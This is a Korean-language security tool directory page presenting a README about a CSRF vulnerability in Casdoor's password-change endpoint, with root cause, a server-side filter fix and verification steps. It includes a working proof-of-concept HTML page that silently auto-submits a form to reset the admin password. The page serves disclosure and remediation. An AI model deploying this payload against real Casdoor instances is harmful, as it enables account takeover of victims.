Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
csrf_casdoor | Kitploit
도구/GitHubGitHub/vanlam2001/csrf_casdoor
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

저장소 보기
6개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Casdoor – 사이트 간 요청 위조 (CSRF)

요약

  • 취약점: 동의 없이 비밀번호 변경을 허용하는 /api/set-password의 CSRF.
  • 영향받는 버전: 소프트웨어의 모든 버전이 영향을 받습니다. 현재 패치된 릴리스는 없습니다.
  • CVE: CVE-2023-34927 (최신 CVE는 아직 할당되지 않음).
  • 익스플로잇 작성자: Van Lam Nguyen.
  • 테스트 환경: Windows

영향

  • 피해자가 Casdoor에 로그인된 상태에서 사이트 간 POST로 피해자의 비밀번호(예: built-in/admin)를 변경할 수 있어 계정 탈취로 이어질 수 있습니다.

공격 전제 조건

  • 피해자가 인증되어 있고 유효한 casdoor_session_id 쿠키를 보유하고 있어야 합니다.
  • 피해자가 /api/set-password로 POST를 자동 제출하는 악성 페이지를 방문해야 합니다.

개념 증명

root@kitploit:~
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

근본 원인

  • /api/* 아래의 상태 변경 엔드포인트는 동일 출처 검사(Origin/Referer) 또는 CSRF 토큰을 적용하지 않고 쿠키 인증 요청을 수락합니다.

수정 개요

  • 서버 측 CSRF 필터를 추가하여 /api/* 아래의 사이트 간 쿠키 기반 POST/PUT/DELETE/PATCH 요청을 거부합니다.
  • 명시적 비쿠키 인증(예: Authorization, Basic 인증, 클라이언트 자격 증명 또는 accessToken)을 포함하는 요청 또는 브라우저 세션 쿠키가 없는 요청(일반적인 서버 간 호출)은 허용합니다.

구현

  • csrf_filter.go에 구현된 routers.CSRFFilter를 사용합니다. 이 필터는:
    • 상태를 변경하지 않는 메서드에 대해서는 조기 반환(early-return)합니다.
    • 명시적 비쿠키 인증을 포함하는 요청을 허용합니다.
    • 세션 쿠키가 존재하고 출처(origin)가 호스트와 일치하지 않는 경우 사이트 간 요청을 차단합니다.

Casdoor에 통합하는 방법

  1. csrf_filter.go를 Casdoor 프로젝트의 기존 routers 패키지로 복사합니다. 이 파일의 어떤 것도 수정하거나 삭제하지 마십시오.
  2. HTTP 파이프라인(main 내부) 초기에 필터를 등록합니다:
    root@kitploit:~
    // Beego v1 style
    beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

검증

  • 필터를 등록한 후 로그인 상태에서 위의 PoC를 재실행합니다. 요청은 Unauthorized operation으로 거부되고 서버는 CSRF check failed를 로그로 기록해야 합니다.
  • Authorization 헤더 또는 accessToken 매개변수를 포함하는 교차 출처 API 호출은 계속 작동해야 합니다.

저장소 파일

  • csrf_filter.go: Casdoor의 routers 패키지로 복사할 CSRF 필터.
  • poc.html: CSRF 공격을 재현하는 최소 페이지.
  • README.md: 취약점 및 수정 단계를 설명하는 이 문서.

참고 자료

  • Casdoor: https://casdoor.org/
  • 버전: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

비디오

  • Youtube: https://youtu.be/N5VENgiObjY
도구 다운로드